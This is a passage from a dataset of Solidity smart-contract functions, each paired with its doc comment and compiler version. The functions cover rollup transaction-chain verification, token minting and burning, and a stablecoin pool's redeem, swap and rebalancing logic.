`push2(..)`.\n return uint40(queue().length() / 2);\n }", "version": "0.7.6"} {"comment": "/**\n * Retrieves the hash of a sequencer element.\n * @param _context Batch context for the given element.\n * @param _nextTransactionPtr Pointer to the next transaction in the calldata.\n * @param _txDataLength Length of the transaction item.\n * @return Hash of the sequencer element.\n */", "function_code": "function _getSequencerLeafHash(\n BatchContext memory _context,\n uint256 _nextTransactionPtr,\n uint256 _txDataLength\n )\n internal\n pure\n returns (\n bytes32\n )\n {\n\n bytes memory chainElement = new bytes(BYTES_TILL_TX_DATA + _txDataLength);\n uint256 ctxTimestamp = _context.timestamp;\n uint256 ctxBlockNumber = _context.blockNumber;\n\n bytes32 leafHash;\n assembly {\n let chainElementStart := add(chainElement, 0x20)\n\n // Set the first byte equal to `1` to indicate this is a sequencer chain element.\n // This distinguishes sequencer ChainElements from queue ChainElements because\n // all queue ChainElements are ABI encoded and the first byte of ABI encoded\n // elements is always zero\n mstore8(chainElementStart, 1)\n\n mstore(add(chainElementStart, 1), ctxTimestamp)\n mstore(add(chainElementStart, 33), ctxBlockNumber)\n\n calldatacopy(add(chainElementStart, BYTES_TILL_TX_DATA), add(_nextTransactionPtr, 3), _txDataLength)\n\n leafHash := keccak256(chainElementStart, add(BYTES_TILL_TX_DATA, _txDataLength))\n }\n\n return leafHash;\n }", "version": "0.7.6"} {"comment": "/**\n * Retrieves the hash of a sequencer element.\n * @param _txChainElement The chain element which is hashed to calculate the leaf.\n * @return Hash of the sequencer element.\n */", "function_code": "function _getSequencerLeafHash(\n Lib_OVMCodec.TransactionChainElement memory _txChainElement\n )\n internal\n view\n returns(\n bytes32\n )\n {\n bytes memory txData = _txChainElement.txData;\n uint256 txDataLength = _txChainElement.txData.length;\n\n bytes memory chainElement = new bytes(BYTES_TILL_TX_DATA + txDataLength);\n uint256 ctxTimestamp = _txChainElement.timestamp;\n uint256 ctxBlockNumber = _txChainElement.blockNumber;\n\n bytes32 leafHash;\n assembly {\n let chainElementStart := add(chainElement, 0x20)\n\n // Set the first byte equal to `1` to indicate this is a sequencer chain element.\n // This distinguishes sequencer ChainElements from queue ChainElements because\n // all queue ChainElements are ABI encoded and the first byte of ABI encoded\n // elements is always zero\n mstore8(chainElementStart, 1)\n\n mstore(add(chainElementStart, 1), ctxTimestamp)\n mstore(add(chainElementStart, 33), ctxBlockNumber)\n\n pop(staticcall(gas(), 0x04, add(txData, 0x20), txDataLength, add(chainElementStart, BYTES_TILL_TX_DATA), txDataLength))\n\n leafHash := keccak256(chainElementStart, add(BYTES_TILL_TX_DATA, txDataLength))\n }\n\n return leafHash;\n }", "version": "0.7.6"} {"comment": "/**\n * Inserts a batch into the chain of batches.\n * @param _transactionRoot Root of the transaction tree for this batch.\n * @param _batchSize Number of elements in the batch.\n * @param _numQueuedTransactions Number of queue transactions in the batch.\n * @param _timestamp The latest batch timestamp.\n * @param _blockNumber The latest batch blockNumber.\n */", "function_code": "function _appendBatch(\n bytes32 _transactionRoot,\n uint256 _batchSize,\n uint256 _numQueuedTransactions,\n uint40 _timestamp,\n uint40 _blockNumber\n )\n internal\n {\n (uint40 totalElements, uint40 nextQueueIndex, uint40 lastTimestamp, uint40 lastBlockNumber) = _getBatchExtraData();\n\n Lib_OVMCodec.ChainBatchHeader memory header = Lib_OVMCodec.ChainBatchHeader({\n batchIndex: batches().length(),\n batchRoot: _transactionRoot,\n batchSize: _batchSize,\n prevTotalElements: totalElements,\n extraData: hex\"\"\n });\n\n emit TransactionBatchAppended(\n header.batchIndex,\n header.batchRoot,\n header.batchSize,\n header.prevTotalElements,\n header.extraData\n );\n\n bytes32 batchHeaderHash = Lib_OVMCodec.hashBatchHeader(header);\n bytes27 latestBatchContext = _makeBatchExtraData(\n totalElements + uint40(header.batchSize),\n nextQueueIndex + uint40(_numQueuedTransactions),\n _timestamp,\n _blockNumber\n );\n\n batches().push(batchHeaderHash, latestBatchContext);\n }", "version": "0.7.6"} {"comment": "/**\n * Checks that the first batch context in a sequencer submission is valid\n * @param _firstContext The batch context to validate.\n */", "function_code": "function _validateFirstBatchContext(\n BatchContext memory _firstContext\n )\n internal\n view\n {\n // If there are existing elements, this batch must come later.\n if (getTotalElements() > 0) {\n (,, uint40 lastTimestamp, uint40 lastBlockNumber) = _getBatchExtraData();\n require(_firstContext.blockNumber >= lastBlockNumber, \"Context block number is lower than last submitted.\");\n require(_firstContext.timestamp >= lastTimestamp, \"Context timestamp is lower than last submitted.\");\n }\n // Sequencer cannot submit contexts which are more than the force inclusion period old.\n require(_firstContext.timestamp + forceInclusionPeriodSeconds >= block.timestamp, \"Context timestamp too far in the past.\");\n require(_firstContext.blockNumber + forceInclusionPeriodBlocks >= block.number, \"Context block number too far in the past.\");\n }", "version": "0.7.6"} {"comment": "/**\n * Verifies a sequencer transaction, returning true if it was indeed included in the CTC\n * @param _transaction The transaction we are verifying inclusion of.\n * @param _txChainElement The chain element that the transaction is claimed to be a part of.\n * @param _batchHeader Header of the batch the transaction was included in.\n * @param _inclusionProof An inclusion proof into the CTC at a particular index.\n * @return True if the transaction was included in the specified location, else false.\n */", "function_code": "function _verifySequencerTransaction(\n Lib_OVMCodec.Transaction memory _transaction,\n Lib_OVMCodec.TransactionChainElement memory _txChainElement,\n Lib_OVMCodec.ChainBatchHeader memory _batchHeader,\n Lib_OVMCodec.ChainInclusionProof memory _inclusionProof\n )\n internal\n view\n returns (\n bool\n )\n {\n OVM_ExecutionManager ovmExecutionManager = OVM_ExecutionManager(resolve(\"OVM_ExecutionManager\"));\n uint256 gasLimit = ovmExecutionManager.getMaxTransactionGasLimit();\n bytes32 leafHash = _getSequencerLeafHash(_txChainElement);\n\n require(\n _verifyElement(\n leafHash,\n _batchHeader,\n _inclusionProof\n ),\n \"Invalid Sequencer transaction inclusion proof.\"\n );\n\n require(\n _transaction.blockNumber == _txChainElement.blockNumber\n && _transaction.timestamp == _txChainElement.timestamp\n && _transaction.entrypoint == resolve(\"OVM_DecompressionPrecompileAddress\")\n && _transaction.gasLimit == gasLimit\n && _transaction.l1TxOrigin == address(0)\n && _transaction.l1QueueOrigin == Lib_OVMCodec.QueueOrigin.SEQUENCER_QUEUE\n && keccak256(_transaction.data) == keccak256(_txChainElement.txData),\n \"Invalid Sequencer transaction.\"\n );\n\n return true;\n }", "version": "0.7.6"} {"comment": "/**\n * Verifies a queue transaction, returning true if it was indeed included in the CTC\n * @param _transaction The transaction we are verifying inclusion of.\n * @param _queueIndex The queueIndex of the queued transaction.\n * @param _batchHeader Header of the batch the transaction was included in.\n * @param _inclusionProof An inclusion proof into the CTC at a particular index (should point to queue tx).\n * @return True if the transaction was included in the specified location, else false.\n */", "function_code": "function _verifyQueueTransaction(\n Lib_OVMCodec.Transaction memory _transaction,\n uint256 _queueIndex,\n Lib_OVMCodec.ChainBatchHeader memory _batchHeader,\n Lib_OVMCodec.ChainInclusionProof memory _inclusionProof\n )\n internal\n view\n returns (\n bool\n )\n {\n bytes32 leafHash = _getQueueLeafHash(_queueIndex);\n\n require(\n _verifyElement(\n leafHash,\n _batchHeader,\n _inclusionProof\n ),\n \"Invalid Queue transaction inclusion proof.\"\n );\n\n bytes32 transactionHash = keccak256(\n abi.encode(\n _transaction.l1TxOrigin,\n _transaction.entrypoint,\n _transaction.gasLimit,\n _transaction.data\n )\n );\n\n Lib_OVMCodec.QueueElement memory el = getQueueElement(_queueIndex);\n require(\n el.queueRoot == transactionHash\n && el.timestamp == _transaction.timestamp\n && el.blockNumber == _transaction.blockNumber,\n \"Invalid Queue transaction.\"\n );\n\n return true;\n }", "version": "0.7.6"} {"comment": "/**\n * Verifies a batch inclusion proof.\n * @param _element Hash of the element to verify a proof for.\n * @param _batchHeader Header of the batch in which the element was included.\n * @param _proof Merkle inclusion proof for the element.\n */", "function_code": "function _verifyElement(\n bytes32 _element,\n Lib_OVMCodec.ChainBatchHeader memory _batchHeader,\n Lib_OVMCodec.ChainInclusionProof memory _proof\n )\n internal\n view\n returns (\n bool\n )\n {\n require(\n Lib_OVMCodec.hashBatchHeader(_batchHeader) == batches().get(uint32(_batchHeader.batchIndex)),\n \"Invalid batch header.\"\n );\n\n require(\n Lib_MerkleTree.verify(\n _batchHeader.batchRoot,\n _element,\n _proof.index,\n _proof.siblings,\n _batchHeader.batchSize\n ),\n \"Invalid inclusion proof.\"\n );\n\n return true;\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Main entry point to initiate a rebase operation.\r\n * The Orchestrator calls rebase on the policy and notifies downstream applications.\r\n * Contracts are guarded from calling, to avoid flash loan attacks on liquidity\r\n * providers.\r\n * If a transaction in the transaction list reverts, it is swallowed and the remaining\r\n * transactions are executed.\r\n */", "function_code": "function rebase()\r\n external\r\n {\r\n require(msg.sender == tx.origin); // solhint-disable-line avoid-tx-origin\r\n\r\n UFragmentsPolicy.policyRebase();\r\n\r\n for (uint i = 0; i < transactions.length; i++) {\r\n Transaction storage t = transactions[i];\r\n if (t.enabled) {\r\n bool result =\r\n externalCall(t.destination, t.data);\r\n if (!result) {\r\n emit TransactionFailed(t.destination, i, t.data);\r\n revert(\"Transaction Failed\");\r\n }\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "// msg.value is tip.", "function_code": "function accept(uint _brickId, address[] _winners, uint[] _weights) \r\n public onlyBrickOwner(_brickId) \r\n payable\r\n returns (bool success) \r\n {\r\n uint total = getProvider(_brickId).accept(_brickId, _winners, _weights, msg.value);\r\n require(total > 0);\r\n for (uint i=0; i < _winners.length; i++) {\r\n _winners[i].transfer(total.mul(_weights[i]).div(DENOMINATOR)); \r\n } \r\n\r\n emit WorkAccepted(_brickId, _winners);\r\n return true; \r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Burn extra tokens from a balance.\r\n *\r\n */", "function_code": "function burn(uint burnAmount) public {\r\n address burner = msg.sender;\r\n balances[burner] = balances[burner].sub(burnAmount);\r\n totalSupply_ = totalSupply_.sub(burnAmount);\r\n emit Burned(burner, burnAmount);\r\n\r\n // Inform the blockchain explores that track the\r\n // balances only by a transfer event that the balance in this\r\n // address has decreased\r\n emit Transfer(burner, BURN_ADDRESS, burnAmount);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * Create new tokens and allocate them to an address..\r\n *\r\n * Only callably by a crowdsale contract (mint agent).\r\n */", "function_code": "function mint(address receiver, uint amount) onlyMintAgent canMint public {\r\n totalSupply_ = totalSupply_.plus(amount);\r\n balances[receiver] = balances[receiver].plus(amount);\r\n\r\n // This will make the mint transaction apper in EtherScan.io\r\n // We can remove this after there is a standardized minting event\r\n emit Transfer(0, receiver, amount);\r\n }", "version": "0.4.23"} {"comment": "/* Factory */", "function_code": "function _mintCreate(address _owner, bytes memory _args)\n\tinternal returns (uint256)\n\t{\n\t\t// Create entry (proxy)\n\t\taddress entry = Create2.deploy(0, keccak256(abi.encodePacked(_args, _owner)), proxyCode);\n\t\t// Initialize entry (casting to address payable is a pain in ^0.5.0)\n\t\tInitializableUpgradeabilityProxy(payable(entry)).initialize(master, _args);\n\t\t// Mint corresponding token\n\t\t_mint(_owner, uint256(entry));\n\t\treturn uint256(entry);\n\t}", "version": "0.6.6"} {"comment": "/**\r\n * @dev Return the approx logarithm of a value with log(x) where x <= 1.1.\r\n * All values are in integers with (1e18 == 1.0).\r\n *\r\n * Requirements:\r\n *\r\n * - input value x must be greater than 1e18\r\n */", "function_code": "function _logApprox(uint256 x) internal pure returns (uint256 y) {\r\n uint256 one = W_ONE;\r\n\r\n require(x >= one, \"logApprox: x must >= 1\");\r\n\r\n uint256 z = x - one;\r\n uint256 zz = z.mul(z).div(one);\r\n uint256 zzz = zz.mul(z).div(one);\r\n uint256 zzzz = zzz.mul(z).div(one);\r\n uint256 zzzzz = zzzz.mul(z).div(one);\r\n return z.sub(zz.div(2)).add(zzz.div(3)).sub(zzzz.div(4)).add(zzzzz.div(5));\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Return weights and cached balances of all tokens\r\n * Note that the cached balance does not include the accrued interest since last rebalance.\r\n */", "function_code": "function _getBalancesAndWeights()\r\n internal\r\n view\r\n returns (uint256[] memory balances, uint256[] memory softWeights, uint256[] memory hardWeights, uint256 totalBalance)\r\n {\r\n uint256 ntokens = _ntokens;\r\n balances = new uint256[](ntokens);\r\n softWeights = new uint256[](ntokens);\r\n hardWeights = new uint256[](ntokens);\r\n totalBalance = 0;\r\n for (uint8 i = 0; i < ntokens; i++) {\r\n uint256 info = _tokenInfos[i];\r\n balances[i] = _getCashBalance(info);\r\n if (_isYEnabled(info)) {\r\n balances[i] = balances[i].add(_yBalances[i]);\r\n }\r\n totalBalance = totalBalance.add(balances[i]);\r\n softWeights[i] = _getSoftWeight(info);\r\n hardWeights[i] = _getHardWeight(info);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**************************************************************************************\r\n * Methods for rebalance cash reserve\r\n * After rebalancing, we will have cash reserve equaling to 10% of total balance\r\n * There are two conditions to trigger a rebalancing\r\n * - if there is insufficient cash for withdraw; or\r\n * - if the cash reserve is greater than 20% of total balance.\r\n * Note that we use a cached version of total balance to avoid high gas cost on calling\r\n * getPricePerFullShare().\r\n *************************************************************************************/", "function_code": "function _updateTotalBalanceWithNewYBalance(\r\n uint256 tid,\r\n uint256 yBalanceNormalizedNew\r\n )\r\n internal\r\n {\r\n uint256 adminFee = 0;\r\n uint256 yBalanceNormalizedOld = _yBalances[tid];\r\n // They yBalance should not be decreasing, but just in case,\r\n if (yBalanceNormalizedNew >= yBalanceNormalizedOld) {\r\n adminFee = (yBalanceNormalizedNew - yBalanceNormalizedOld).mul(_adminInterestPct).div(W_ONE);\r\n }\r\n _totalBalance = _totalBalance\r\n .sub(yBalanceNormalizedOld)\r\n .add(yBalanceNormalizedNew)\r\n .sub(adminFee);\r\n }", "version": "0.6.12"} {"comment": "/*\r\n * @dev Rebalance the cash reserve so that\r\n * cash reserve consists of 10% of total balance after substracting amountUnnormalized.\r\n *\r\n * Assume that current cash reserve < amountUnnormalized.\r\n */", "function_code": "function _rebalanceReserveSubstract(\r\n uint256 info,\r\n uint256 amountUnnormalized\r\n )\r\n internal\r\n {\r\n require(_isYEnabled(info), \"yToken must be enabled for rebalancing\");\r\n\r\n uint256 pricePerShare;\r\n uint256 cashUnnormalized;\r\n uint256 yBalanceUnnormalized;\r\n (pricePerShare, cashUnnormalized, yBalanceUnnormalized) = _getBalanceDetail(info);\r\n\r\n // Update _totalBalance with interest\r\n _updateTotalBalanceWithNewYBalance(\r\n _getTID(info),\r\n yBalanceUnnormalized.mul(_normalizeBalance(info))\r\n );\r\n\r\n // Evaluate the shares to withdraw so that cash = 10% of total\r\n uint256 expectedWithdraw = cashUnnormalized.add(yBalanceUnnormalized).sub(\r\n amountUnnormalized).div(10).add(amountUnnormalized).sub(cashUnnormalized);\r\n if (expectedWithdraw == 0) {\r\n return;\r\n }\r\n\r\n // Withdraw +1 wei share to make sure actual withdraw >= expected.\r\n uint256 withdrawShares = expectedWithdraw.mul(W_ONE).div(pricePerShare).add(1);\r\n uint256 balanceBefore = IERC20(address(info)).balanceOf(address(this));\r\n YERC20(_yTokenAddresses[_getTID(info)]).withdraw(withdrawShares);\r\n uint256 actualWithdraw = IERC20(address(info)).balanceOf(address(this)).sub(balanceBefore);\r\n require(actualWithdraw >= expectedWithdraw, \"insufficient cash withdrawn from yToken\");\r\n _yBalances[_getTID(info)] = yBalanceUnnormalized.sub(actualWithdraw)\r\n .mul(_normalizeBalance(info));\r\n }", "version": "0.6.12"} {"comment": "/* @dev Transfer the amount of token out. Rebalance the cash reserve if needed */", "function_code": "function _transferOut(\r\n uint256 info,\r\n uint256 amountUnnormalized,\r\n uint256 adminFee\r\n )\r\n internal\r\n {\r\n uint256 amountNormalized = amountUnnormalized.mul(_normalizeBalance(info));\r\n if (_isYEnabled(info)) {\r\n if (IERC20(address(info)).balanceOf(address(this)) < amountUnnormalized) {\r\n _rebalanceReserveSubstract(info, amountUnnormalized);\r\n }\r\n }\r\n\r\n IERC20(address(info)).safeTransfer(\r\n msg.sender,\r\n amountUnnormalized\r\n );\r\n _totalBalance = _totalBalance\r\n .sub(amountNormalized)\r\n .sub(adminFee.mul(_normalizeBalance(info)));\r\n }", "version": "0.6.12"} {"comment": "/*\r\n * @dev Given the token id and the amount to be deposited, return the amount of lp token\r\n */", "function_code": "function getMintAmount(\r\n uint256 bTokenIdx,\r\n uint256 bTokenAmount\r\n )\r\n public\r\n view\r\n returns (uint256 lpTokenAmount)\r\n {\r\n require(bTokenAmount > 0, \"Amount must be greater than 0\");\r\n\r\n uint256 info = _tokenInfos[bTokenIdx];\r\n require(info != 0, \"Backed token is not found!\");\r\n\r\n // Obtain normalized balances\r\n uint256 bTokenAmountNormalized = bTokenAmount.mul(_normalizeBalance(info));\r\n // Gas saving: Use cached totalBalance with accrued interest since last rebalance.\r\n uint256 totalBalance = _totalBalance;\r\n uint256 sTokenAmount = _getMintAmount(\r\n bTokenAmountNormalized,\r\n totalBalance,\r\n _getBalance(info),\r\n _getSoftWeight(info),\r\n _getHardWeight(info)\r\n );\r\n\r\n return sTokenAmount.mul(totalSupply()).div(totalBalance);\r\n }", "version": "0.6.12"} {"comment": "/*\r\n * @dev Return number of sUSD that is needed to redeem corresponding amount of token for another\r\n * token\r\n * Withdrawing a token will result in increased percentage of other tokens, where\r\n * the function is used to calculate the penalty incured by the increase of one token.\r\n * @param totalBalance - normalized amount of the sum of all tokens\r\n * @param tokenBlance - normalized amount of the balance of a non-withdrawn token\r\n * @param redeemAount - normalized amount of the token to be withdrawn\r\n * @param softWeight - percentage that will incur penalty if the resulting token percentage is greater\r\n * @param hardWeight - maximum percentage of the token\r\n */", "function_code": "function _redeemPenaltyFor(\r\n uint256 totalBalance,\r\n uint256 tokenBalance,\r\n uint256 redeemAmount,\r\n uint256 softWeight,\r\n uint256 hardWeight\r\n )\r\n internal\r\n pure\r\n returns (uint256)\r\n {\r\n uint256 newTotalBalance = totalBalance.sub(redeemAmount);\r\n\r\n /* Soft weight is satisfied. No penalty is incurred */\r\n if (tokenBalance.mul(W_ONE) <= newTotalBalance.mul(softWeight)) {\r\n return 0;\r\n }\r\n\r\n require (\r\n tokenBalance.mul(W_ONE) <= newTotalBalance.mul(hardWeight),\r\n \"redeem: hard-limit weight is broken\"\r\n );\r\n\r\n uint256 bx = 0;\r\n // Evaluate the beginning of the integral for broken soft weight\r\n if (tokenBalance.mul(W_ONE) < totalBalance.mul(softWeight)) {\r\n bx = totalBalance.sub(tokenBalance.mul(W_ONE).div(softWeight));\r\n }\r\n\r\n // x * (w - v) / w / w * ln(1 + (tx - bx) * w / (w * (S - tx) - x)) - (tx - bx) * v / w\r\n uint256 tdelta = tokenBalance.mul(\r\n _log(W_ONE.add(redeemAmount.sub(bx).mul(hardWeight).div(hardWeight.mul(newTotalBalance).div(W_ONE).sub(tokenBalance)))));\r\n uint256 s1 = tdelta.mul(hardWeight.sub(softWeight))\r\n .div(hardWeight).div(hardWeight);\r\n uint256 s2 = redeemAmount.sub(bx).mul(softWeight).div(hardWeight);\r\n return s1.sub(s2);\r\n }", "version": "0.6.12"} {"comment": "/*\r\n * @dev Calculate the derivative of the penalty function.\r\n * Same parameters as _redeemPenaltyFor.\r\n */", "function_code": "function _redeemPenaltyDerivativeForOne(\r\n uint256 totalBalance,\r\n uint256 tokenBalance,\r\n uint256 redeemAmount,\r\n uint256 softWeight,\r\n uint256 hardWeight\r\n )\r\n internal\r\n pure\r\n returns (uint256)\r\n {\r\n uint256 dfx = W_ONE;\r\n uint256 newTotalBalance = totalBalance.sub(redeemAmount);\r\n\r\n /* Soft weight is satisfied. No penalty is incurred */\r\n if (tokenBalance.mul(W_ONE) <= newTotalBalance.mul(softWeight)) {\r\n return dfx;\r\n }\r\n\r\n // dx = dx + x * (w - v) / (w * (S - tx) - x) / w - v / w\r\n return dfx.add(tokenBalance.mul(hardWeight.sub(softWeight))\r\n .div(hardWeight.mul(newTotalBalance).div(W_ONE).sub(tokenBalance)))\r\n .sub(softWeight.mul(W_ONE).div(hardWeight));\r\n }", "version": "0.6.12"} {"comment": "/*\r\n * @dev Given the amount of sUSD to be redeemed, find the max token can be withdrawn\r\n * This function is for swap only.\r\n * @param tidOutBalance - the balance of the token to be withdrawn\r\n * @param totalBalance - total balance of all tokens\r\n * @param tidInBalance - the balance of the token to be deposited\r\n * @param sTokenAmount - the amount of sUSD to be redeemed\r\n * @param softWeight/hardWeight - normalized weights for the token to be withdrawn.\r\n */", "function_code": "function _redeemFindOne(\r\n uint256 tidOutBalance,\r\n uint256 totalBalance,\r\n uint256 tidInBalance,\r\n uint256 sTokenAmount,\r\n uint256 softWeight,\r\n uint256 hardWeight\r\n )\r\n internal\r\n pure\r\n returns (uint256)\r\n {\r\n uint256 redeemAmountNormalized = Math.min(\r\n sTokenAmount,\r\n tidOutBalance.mul(999).div(1000)\r\n );\r\n\r\n for (uint256 i = 0; i < 256; i++) {\r\n uint256 sNeeded = redeemAmountNormalized.add(\r\n _redeemPenaltyFor(\r\n totalBalance,\r\n tidInBalance,\r\n redeemAmountNormalized,\r\n softWeight,\r\n hardWeight\r\n ));\r\n uint256 fx = 0;\r\n\r\n if (sNeeded > sTokenAmount) {\r\n fx = sNeeded - sTokenAmount;\r\n } else {\r\n fx = sTokenAmount - sNeeded;\r\n }\r\n\r\n // penalty < 1e-5 of out amount\r\n if (fx < redeemAmountNormalized / 100000) {\r\n require(redeemAmountNormalized <= sTokenAmount, \"Redeem error: out amount > lp amount\");\r\n require(redeemAmountNormalized <= tidOutBalance, \"Redeem error: insufficient balance\");\r\n return redeemAmountNormalized;\r\n }\r\n\r\n uint256 dfx = _redeemPenaltyDerivativeForOne(\r\n totalBalance,\r\n tidInBalance,\r\n redeemAmountNormalized,\r\n softWeight,\r\n hardWeight\r\n );\r\n\r\n if (sNeeded > sTokenAmount) {\r\n redeemAmountNormalized = redeemAmountNormalized.sub(fx.mul(W_ONE).div(dfx));\r\n } else {\r\n redeemAmountNormalized = redeemAmountNormalized.add(fx.mul(W_ONE).div(dfx));\r\n }\r\n }\r\n require (false, \"cannot find proper resolution of fx\");\r\n }", "version": "0.6.12"} {"comment": "/*\r\n * @dev Given the amount of sUSD token to be redeemed, find the max token can be withdrawn\r\n * @param bTokenIdx - the id of the token to be withdrawn\r\n * @param sTokenAmount - the amount of sUSD token to be redeemed\r\n * @param totalBalance - total balance of all tokens\r\n * @param balances/softWeight/hardWeight - normalized balances/weights of all tokens\r\n */", "function_code": "function _redeemFind(\r\n uint256 bTokenIdx,\r\n uint256 sTokenAmount,\r\n uint256 totalBalance,\r\n uint256[] memory balances,\r\n uint256[] memory softWeights,\r\n uint256[] memory hardWeights\r\n )\r\n internal\r\n pure\r\n returns (uint256)\r\n {\r\n uint256 bTokenAmountNormalized = Math.min(\r\n sTokenAmount,\r\n balances[bTokenIdx].mul(999).div(1000)\r\n );\r\n\r\n for (uint256 i = 0; i < 256; i++) {\r\n uint256 sNeeded = bTokenAmountNormalized.add(\r\n _redeemPenaltyForAll(\r\n bTokenIdx,\r\n totalBalance,\r\n balances,\r\n softWeights,\r\n hardWeights,\r\n bTokenAmountNormalized\r\n ));\r\n uint256 fx = 0;\r\n\r\n if (sNeeded > sTokenAmount) {\r\n fx = sNeeded - sTokenAmount;\r\n } else {\r\n fx = sTokenAmount - sNeeded;\r\n }\r\n\r\n // penalty < 1e-5 of out amount\r\n if (fx < bTokenAmountNormalized / 100000) {\r\n require(bTokenAmountNormalized <= sTokenAmount, \"Redeem error: out amount > lp amount\");\r\n require(bTokenAmountNormalized <= balances[bTokenIdx], \"Redeem error: insufficient balance\");\r\n return bTokenAmountNormalized;\r\n }\r\n\r\n uint256 dfx = _redeemPenaltyDerivativeForAll(\r\n bTokenIdx,\r\n totalBalance,\r\n balances,\r\n softWeights,\r\n hardWeights,\r\n bTokenAmountNormalized\r\n );\r\n\r\n if (sNeeded > sTokenAmount) {\r\n bTokenAmountNormalized = bTokenAmountNormalized.sub(fx.mul(W_ONE).div(dfx));\r\n } else {\r\n bTokenAmountNormalized = bTokenAmountNormalized.add(fx.mul(W_ONE).div(dfx));\r\n }\r\n }\r\n require (false, \"cannot find proper resolution of fx\");\r\n }", "version": "0.6.12"} {"comment": "/*\r\n * @dev Given token id and LP token amount, return the max amount of token can be withdrawn\r\n * @param tid - the id of the token to be withdrawn\r\n * @param lpTokenAmount - the amount of LP token\r\n */", "function_code": "function _getRedeemByLpTokenAmount(\r\n uint256 tid,\r\n uint256 lpTokenAmount\r\n )\r\n internal\r\n view\r\n returns (uint256 bTokenAmount, uint256 totalBalance, uint256 adminFee)\r\n {\r\n require(lpTokenAmount > 0, \"Amount must be greater than 0\");\r\n\r\n uint256 info = _tokenInfos[tid];\r\n require(info != 0, \"Backed token is not found!\");\r\n\r\n // Obtain normalized balances.\r\n // Gas saving: Use cached balances/totalBalance without accrued interest since last rebalance.\r\n uint256[] memory balances;\r\n uint256[] memory softWeights;\r\n uint256[] memory hardWeights;\r\n (balances, softWeights, hardWeights, totalBalance) = _getBalancesAndWeights();\r\n bTokenAmount = _redeemFind(\r\n tid,\r\n lpTokenAmount.mul(totalBalance).div(totalSupply()),\r\n totalBalance,\r\n balances,\r\n softWeights,\r\n hardWeights\r\n ).div(_normalizeBalance(info));\r\n uint256 fee = bTokenAmount.mul(_redeemFee).div(W_ONE);\r\n adminFee = fee.mul(_adminFeePct).div(W_ONE);\r\n bTokenAmount = bTokenAmount.sub(fee);\r\n }", "version": "0.6.12"} {"comment": "/* @dev Redeem a specific token from the pool.\r\n * Fee will be incured. Will incur penalty if the pool is unbalanced.\r\n */", "function_code": "function redeem(\r\n uint256 bTokenIdx,\r\n uint256 bTokenAmount,\r\n uint256 lpTokenBurnedMax\r\n )\r\n external\r\n nonReentrantAndUnpausedV1\r\n {\r\n require(bTokenAmount > 0, \"Amount must be greater than 0\");\r\n\r\n uint256 info = _tokenInfos[bTokenIdx];\r\n require (info != 0, \"Backed token is not found!\");\r\n\r\n // Obtain normalized balances.\r\n // Gas saving: Use cached balances/totalBalance without accrued interest since last rebalance.\r\n (\r\n uint256[] memory balances,\r\n uint256[] memory softWeights,\r\n uint256[] memory hardWeights,\r\n uint256 totalBalance\r\n ) = _getBalancesAndWeights();\r\n uint256 bTokenAmountNormalized = bTokenAmount.mul(_normalizeBalance(info));\r\n require(balances[bTokenIdx] >= bTokenAmountNormalized, \"Insufficient token to redeem\");\r\n\r\n _collectReward(totalBalance);\r\n\r\n uint256 lpAmount = bTokenAmountNormalized.add(\r\n _redeemPenaltyForAll(\r\n bTokenIdx,\r\n totalBalance,\r\n balances,\r\n softWeights,\r\n hardWeights,\r\n bTokenAmountNormalized\r\n )).mul(totalSupply()).div(totalBalance);\r\n require(lpAmount <= lpTokenBurnedMax, \"burned token should <= maximum lpToken offered\");\r\n\r\n _burn(msg.sender, lpAmount);\r\n\r\n /* Transfer out the token after deducting the fee. Rebalance cash reserve if needed */\r\n uint256 fee = bTokenAmount.mul(_redeemFee).div(W_ONE);\r\n _transferOut(\r\n _tokenInfos[bTokenIdx],\r\n bTokenAmount.sub(fee),\r\n fee.mul(_adminFeePct).div(W_ONE)\r\n );\r\n\r\n emit Redeem(msg.sender, bTokenAmount, lpAmount);\r\n }", "version": "0.6.12"} {"comment": "/*\r\n * @dev Swap a token to another.\r\n * @param bTokenIdIn - the id of the token to be deposited\r\n * @param bTokenIdOut - the id of the token to be withdrawn\r\n * @param bTokenInAmount - the amount (unnormalized) of the token to be deposited\r\n * @param bTokenOutMin - the mininum amount (unnormalized) token that is expected to be withdrawn\r\n */", "function_code": "function swap(\r\n uint256 bTokenIdxIn,\r\n uint256 bTokenIdxOut,\r\n uint256 bTokenInAmount,\r\n uint256 bTokenOutMin\r\n )\r\n external\r\n nonReentrantAndUnpausedV1\r\n {\r\n uint256 infoIn = _tokenInfos[bTokenIdxIn];\r\n uint256 infoOut = _tokenInfos[bTokenIdxOut];\r\n (\r\n uint256 bTokenOutAmount,\r\n uint256 adminFee\r\n ) = _getSwapAmount(infoIn, infoOut, bTokenInAmount);\r\n require(bTokenOutAmount >= bTokenOutMin, \"Returned bTokenAmount < asked\");\r\n\r\n _transferIn(infoIn, bTokenInAmount);\r\n _transferOut(infoOut, bTokenOutAmount, adminFee);\r\n\r\n emit Swap(\r\n msg.sender,\r\n bTokenIdxIn,\r\n bTokenIdxOut,\r\n bTokenInAmount,\r\n bTokenOutAmount\r\n );\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Convert uint256 to string\r\n * @param _i Unsigned integer to convert to string\r\n */", "function_code": "function _uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {\r\n if (_i == 0) {\r\n return \"0\";\r\n }\r\n\r\n uint256 j = _i;\r\n uint256 ii = _i;\r\n uint256 len;\r\n\r\n // Get number of bytes\r\n while (j != 0) {\r\n len++;\r\n j /= 10;\r\n }\r\n\r\n bytes memory bstr = new bytes(len);\r\n uint256 k = len - 1;\r\n\r\n // Get each individual ASCII\r\n while (ii != 0) {\r\n bstr[k--] = byte(uint8(48 + ii % 10));\r\n ii /= 10;\r\n }\r\n\r\n // Convert to string\r\n return string(bstr);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Mint _amount of tokens of a given id\r\n * @param _to The address to mint tokens to\r\n * @param _id Token id to mint\r\n * @param _amount The amount to be minted\r\n * @param _data Data to pass if receiver is contract\r\n */", "function_code": "function _mint(address _to, uint256 _id, uint256 _amount, bytes memory _data)\r\n internal\r\n {\r\n // Add _amount\r\n balances[_to][_id] = balances[_to][_id].add(_amount);\r\n\r\n // Emit event\r\n emit TransferSingle(msg.sender, address(0x0), _to, _id, _amount);\r\n\r\n // Calling onReceive 